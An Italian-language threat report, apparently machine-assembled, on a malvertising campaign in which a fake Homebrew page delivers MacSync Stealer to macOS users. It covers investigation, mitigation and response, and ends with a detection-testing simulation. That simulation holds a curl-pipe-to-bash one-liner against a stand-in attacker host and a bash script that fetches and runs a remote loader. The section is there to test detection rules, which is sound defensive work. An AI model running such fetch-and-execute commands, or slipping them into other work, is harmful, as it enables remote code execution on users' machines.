Falso Annuncio Homebrew Porta all’Infezione da MacSync Stealer

Sommario

Gli aggressori stanno utilizzando annunci di ricerca dannosi per indirizzare gli utenti a un sito web falso di Homebrew che prende di mira i sistemi macOS con MacSync Stealer. La pagina contraffatta istruisce le vittime a copiare ed eseguire un comando shell che scarica e avvia il malware. Una volta attivo, lo stealer raccoglie credenziali e dettagli del sistema, comprime i dati rubati in un archivio ZIP e lo invia a un server di comando e controllo. La campagna evidenzia l’uso crescente del malvertising per compromettere gli utenti macOS.

Indagine

L’analista ha tracciato l’attacco dall’annuncio dannoso a una pagina di Homebrew impersonata ospitata su Google Sites. Quella pagina presentava un zsh comando che, una volta eseguito, scaricava script aggiuntivi da un’infrastruttura controllata dagli attaccanti e creava un archivio ZIP temporaneo contenente i dati raccolti. Il traffico di rete confermava che l’archivio era stato esfiltrato verso il dominio glowmedaesthetics.com. I ricercatori hanno documentato gli indicatori pertinenti, inclusi URL, domini e percorsi file legati alla catena di infezione.

Mitigazione

Gli utenti dovrebbero evitare di copiare e eseguire comandi da siti web non fidati e dovrebbero verificare la legittimità delle pagine del gestore pacchetti prima di interagirvi. Le estensioni del browser focalizzate sulla sicurezza o sul blocco degli annunci possono aiutare a ridurre l’esposizione a link sponsorizzati dannosi. Su macOS, Gatekeeper dovrebbe rimanere attivo e l’esecuzione delle applicazioni dovrebbe essere limitata a software affidabile e con firma digitale. I difensori dovrebbero anche monitorare il traffico in uscita per connessioni a domini non familiari.

Risposta

I team di sicurezza dovrebbero rilevare l’esecuzione del comando sospetto zsh e qualsiasi attività curl che raggiunge l’URL dannoso identificato. Dovrebbero anche essere generati allarmi per la creazione dell’archivio /tmp/osalogging.zip e per il traffico in uscita verso glowmedaesthetics.com. Se si sospetta un’infezione, isolare il sistema compromesso, raccogliere prove forensi e reimpostare qualsiasi credenziale compromessa.

Esecuzione della simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere superato.

Ragionamento: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

• Narrazione dell’attacco e comandi:

  1. Esca iniziale: La vittima riceve un’e-mail di phishing contenente un link a una pagina “tap” contraffatta di Homebrew che ospita uno script di installazione dannoso.

  2. Esecuzione: La vittima copia la one‑liner dalla pagina e la incolla nel loro terminale:

     curl -fsSL https://malicious.example.com/macsyncloader.sh | /bin/bash

     • The curl il binario viene richiamato (corrisponde alla regola).

  3. Script di downloader (macsyncloader.sh):

     • Scarica il payload di MacSync tramite curl.
     • Scrive il payload su /tmp/.macsync e lo esegue.
     • Fa comparire finestre di dialogo per il furto di credenziali (simulato tramite osascript su macOS, ma qui semplicemente facciamo eco).

  4. Persistenza: Lo script registra un LaunchAgent per l’esecuzione al login (fuori dall’ambito della regola corrente ma rilevante per un rilevamento più ampio).

• Script di test di regressione: Il seguente script Bash riproduce i passaggi esatti, garantendo che la telemetria sia allineata con la logica di rilevamento.

  #!/usr/bin/env bash
  set -euo pipefail
  
  # -------------------------------------------------
  # Simulated attacker-controlled script host
  # -------------------------------------------------
  MALICIOUS_HOST="https://malicious.example.com"
  LOADER="${MALICIOUS_HOST}/macsyncloader.sh"
  
  # -------------------------------------------------
  # Step 1: Download and execute the malicious loader
  # -------------------------------------------------
  echo "[*] Attivazione della regola di rilevamento invocando curl ..."
  curl -fsSL "$LOADER" | /bin/bash
  
  # -------------------------------------------------
  # Step 2: (Inside the loader) – Simulated payload
  # -------------------------------------------------
  # Normalmente il loader verrebbe recuperato dall'host remoto.
  # Per scopo di questo test, includiamo il payload inline.
  cat <<'PAYLOAD' > /tmp/.macsync
  #!/usr/bin/env bash
  echo "Payload di MacSync eseguito – esfiltrando info dell'host..."
  # Simula il furto di credenziali (nessun dato reale)
  echo "Credenziali raccolte: user@example.com / password123"
  PAYLOAD
  
  chmod +x /tmp/.macsync
  /tmp/.macsync
  
  echo "[*] Simulazione completata."

• Comandi di pulizia: Rimuovi artefatti e termina eventuali processi residui.

  #!/usr/bin/env bash
  set -euo pipefail
  
  echo "[*] Pulizia degli artefatti della simulazione ..."
  rm -f /tmp/.macsync
  # Nessun servizio persistente è stato creato in questo test
  echo "[*] Pulizia completata."